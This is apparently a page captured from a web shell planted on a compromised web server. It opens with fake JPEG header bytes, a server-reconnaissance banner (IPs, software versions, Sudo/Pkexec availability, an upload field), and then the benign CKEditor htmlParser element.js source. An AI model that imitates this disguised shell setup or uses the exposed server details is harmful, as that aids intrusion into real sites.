????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.139.64.42 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.biminfo.se/vatternkajak.se/ckeditor/_source/core/htmlparser/ |
Upload File : |
/* Copyright (c) 2003-2011, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.html or http://ckeditor.com/license */ /** * A lightweight representation of an HTML element. * @param {String} name The element name. * @param {Object} attributes And object holding all attributes defined for * this element. * @constructor * @example */ CKEDITOR.htmlParser.element = function( name, attributes ) { /** * The element name. * @type String * @example */ this.name = name; /** * Holds the attributes defined for this element. * @type Object * @example */ this.attributes = attributes || ( attributes = {} ); /** * The nodes that are direct children of this element. * @type Array * @example */ this.children = []; var tagName = attributes[ 'data-cke-real-element-type' ] || name; // Reveal the real semantic of our internal custom tag name (#6639). var internalTag = tagName.match( /^cke:(.*)/ ); internalTag && ( tagName = internalTag[ 1 ] ); var dtd = CKEDITOR.dtd, isBlockLike = !!( dtd.$nonBodyContent[ tagName ] || dtd.$block[ tagName ] || dtd.$listItem[ tagName ] || dtd.$tableContent[ tagName ] || dtd.$nonEditable[ tagName ] || tagName == 'br' ), isEmpty = !!dtd.$empty[ name ]; this.isEmpty = isEmpty; this.isUnknown = !dtd[ name ]; /** @private */ this._ = { isBlockLike : isBlockLike, hasInlineStarted : isEmpty || !isBlockLike }; }; (function() { // Used to sort attribute entries in an array, where the first element of // each object is the attribute name. var sortAttribs = function( a, b ) { a = a[0]; b = b[0]; return a < b ? -1 : a > b ? 1 : 0; }; CKEDITOR.htmlParser.element.prototype = { /** * The node type. This is a constant value set to {@link CKEDITOR.NODE_ELEMENT}. * @type Number * @example */ type : CKEDITOR.NODE_ELEMENT, /** * Adds a node to the element children list. * @param {Object} node The node to be added. It can be any of of the * following types: {@link CKEDITOR.htmlParser.element}, * {@link CKEDITOR.htmlParser.text} and * {@link CKEDITOR.htmlParser.comment}. * @function * @example */ add : CKEDITOR.htmlParser.fragment.prototype.add, /** * Clone this element. * @returns {CKEDITOR.htmlParser.element} The element clone. * @example */ clone : function() { return new CKEDITOR.htmlParser.element( this.name, this.attributes ); }, /** * Writes the element HTML to a CKEDITOR.htmlWriter. * @param {CKEDITOR.htmlWriter} writer The writer to which write the HTML. * @example */ writeHtml : function( writer, filter ) { var attributes = this.attributes; // Ignore cke: prefixes when writing HTML. var element = this, writeName = element.name, a, newAttrName, value; var isChildrenFiltered; /** * Providing an option for bottom-up filtering order ( element * children to be pre-filtered before the element itself ). */ element.filterChildren = function() { if ( !isChildrenFiltered ) { var writer = new CKEDITOR.htmlParser.basicWriter(); CKEDITOR.htmlParser.fragment.prototype.writeChildrenHtml.call( element, writer, filter ); element.children = new CKEDITOR.htmlParser.fragment.fromHtml( writer.getHtml() ).children; isChildrenFiltered = 1; } }; if ( filter ) { while ( true ) { if ( !( writeName = filter.onElementName( writeName ) ) ) return; element.name = writeName; if ( !( element = filter.onElement( element ) ) ) return; element.parent = this.parent; if ( element.name == writeName ) break; // If the element has been replaced with something of a // different type, then make the replacement write itself. if ( element.type != CKEDITOR.NODE_ELEMENT ) { element.writeHtml( writer, filter ); return; } writeName = element.name; // This indicate that the element has been dropped by // filter but not the children. if ( !writeName ) { this.writeChildrenHtml.call( element, writer, isChildrenFiltered ? null : filter ); return; } } // The element may have been changed, so update the local // references. attributes = element.attributes; } // Open element tag. writer.openTag( writeName, attributes ); // Copy all attributes to an array. var attribsArray = []; // Iterate over the attributes twice since filters may alter // other attributes. for ( var i = 0 ; i < 2; i++ ) { for ( a in attributes ) { newAttrName = a; value = attributes[ a ]; if ( i == 1 ) attribsArray.push( [ a, value ] ); else if ( filter ) { while ( true ) { if ( !( newAttrName = filter.onAttributeName( a ) ) ) { delete attributes[ a ]; break; } else if ( newAttrName != a ) { delete attributes[ a ]; a = newAttrName; continue; } else break; } if ( newAttrName ) { if ( ( value = filter.onAttribute( element, newAttrName, value ) ) === false ) delete attributes[ newAttrName ]; else attributes [ newAttrName ] = value; } } } } // Sort the attributes by name. if ( writer.sortAttributes ) attribsArray.sort( sortAttribs ); // Send the attributes. var len = attribsArray.length; for ( i = 0 ; i < len ; i++ ) { var attrib = attribsArray[ i ]; writer.attribute( attrib[0], attrib[1] ); } // Close the tag. writer.openTagClose( writeName, element.isEmpty ); if ( !element.isEmpty ) { this.writeChildrenHtml.call( element, writer, isChildrenFiltered ? null : filter ); // Close the element. writer.closeTag( writeName ); } }, writeChildrenHtml : function( writer, filter ) { // Send children. CKEDITOR.htmlParser.fragment.prototype.writeChildrenHtml.apply( this, arguments ); } }; })();